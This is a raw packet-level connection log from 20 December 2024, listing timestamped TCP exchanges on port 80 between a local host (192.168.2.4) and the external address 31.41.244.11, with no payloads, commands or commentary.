Dec 20, 2024 04:12:11.452244997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.452302933 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.452356100 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.452411890 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.453923941 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.453979015 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.454094887 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.455471992 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.455533981 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.455538988 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.455585957 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.457040071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.457091093 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.457122087 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.457174063 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.458584070 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.458633900 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.458789110 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.458841085 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.460094929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.460144043 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.460195065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.460244894 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.461580992 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.461631060 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.461689949 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.461738110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.463087082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.463141918 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.463191032 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.463236094 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.464555025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.464602947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.464679003 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.464730024 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.466078997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.466136932 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.466169119 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.466221094 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.467564106 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.467616081 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.467643023 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.467694044 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.469055891 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.469105959 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.469189882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.469239950 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.470542908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.470594883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.470649958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.470699072 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.472070932 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.472121954 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.472153902 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.472203970 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.473540068 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.473591089 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.473648071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.473697901 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.475035906 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.475086927 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.475140095 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.475188971 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.476531982 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.476583958 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.476659060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.476712942 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.478019953 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.478069067 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.478137016 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.478187084 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.479512930 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.479562044 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.479610920 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.479660034 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.481014967 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.481071949 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.481113911 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.481164932 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.482521057 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.482572079 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.482623100 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.482672930 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.484003067 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.484050989 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.484055042 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.484091043 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.485502958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.485557079 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.485584974 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.485637903 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.486995935 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.487046957 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.487106085 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.487154007 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.488487959 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.488538980 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.488591909 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.488642931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.489969969 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.490020990 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.490084887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.490133047 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.491501093 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.491550922 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.491597891 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.491647959 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.492968082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.493020058 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.493052006 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.493104935 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.494530916 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.494584084 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.494613886 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.494664907 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.495965958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.496012926 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.496028900 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.496077061 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.497446060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.497497082 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.497565031 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.497615099 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.498946905 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.499016047 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.499044895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.499099016 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.500442982 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.500514030 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.500540018 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.500592947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.501929998 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.501998901 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.502032042 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.502087116 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.503423929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.503487110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.503525972 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.503578901 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.504918098 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.504998922 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.505027056 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.505054951 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.506413937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.506469011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.506551027 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.506602049 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.507935047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.507985115 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.507989883 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.508035898 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.509421110 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.509471893 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.509500980 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.509550095 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.510886908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.510938883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.510989904 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.511039019 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.512387037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.512439013 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.512481928 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.512533903 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.513892889 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.513946056 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.513993025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.514044046 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.515367985 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.515424013 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.515455961 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.515501976 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.633163929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.633227110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.633325100 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.633375883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.633847952 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.633896112 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.633927107 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.633975983 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.635082006 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.635129929 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.635202885 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.635252953 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.636388063 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.636435986 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.636487961 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.636537075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.637675047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.637725115 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.637782097 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.637831926 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.638891935 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.638945103 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.639007092 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.639059067 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.640142918 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.640193939 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.640245914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.640294075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.641388893 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.641441107 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.641506910 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.641561985 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.642653942 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.642703056 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.642751932 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.642802000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.643898010 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.643949986 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.644045115 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.644093037 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.645138025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.645185947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.645243883 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.645292044 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.646405935 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.646461010 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.646507978 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.646558046 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.647650003 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.647701025 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.647759914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.647809982 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.648890018 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.648946047 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.649015903 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.649068117 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.650158882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.650217056 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.650263071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.650311947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.651387930 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.651436090 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.651493073 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.651540995 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.652652979 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.652704000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.652757883 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.652806997 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.653903008 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.653954029 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.654000998 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.654051065 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.655152082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.655206919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.655253887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.655303955 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.656392097 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.656441927 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.656487942 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.656538963 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.657656908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.657710075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.657759905 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.657810926 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.658904076 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.658955097 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.659015894 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.659064054 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.660164118 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.660218000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.660273075 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.660324097 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.661418915 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.661479950 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.661509037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.661564112 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.662674904 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.662739992 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.662770033 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.662825108 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.663898945 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.663960934 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.664026976 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.664079905 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.665148973 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.665205002 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.665273905 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.665329933 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.666420937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.666482925 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.666542053 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.666594028 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.667675018 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.667743921 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.667768955 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.667821884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.668901920 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.668968916 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.669022083 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.669087887 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.670161963 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.670222044 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.670275927 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.670339108 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.671431065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.671483994 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.671535015 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.671578884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.672662020 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.672713041 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.672765017 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.672813892 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.673917055 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.673965931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.674025059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.674072027 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.675156116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.675206900 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.675329924 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.675415039 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.676433086 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.676484108 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.676537991 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.676583052 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.677651882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.677699089 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.677772999 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.677817106 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.678915024 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.678958893 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.679009914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.679059029 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.680171013 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.680221081 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.680339098 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.680385113 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.681468964 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.681524992 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.681552887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.681605101 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.682694912 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.682749033 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.682782888 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.682832956 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.683928967 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.683973074 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.684039116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.684083939 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.685261965 CET	80	49766	31.41.244.11	192.168.2.4
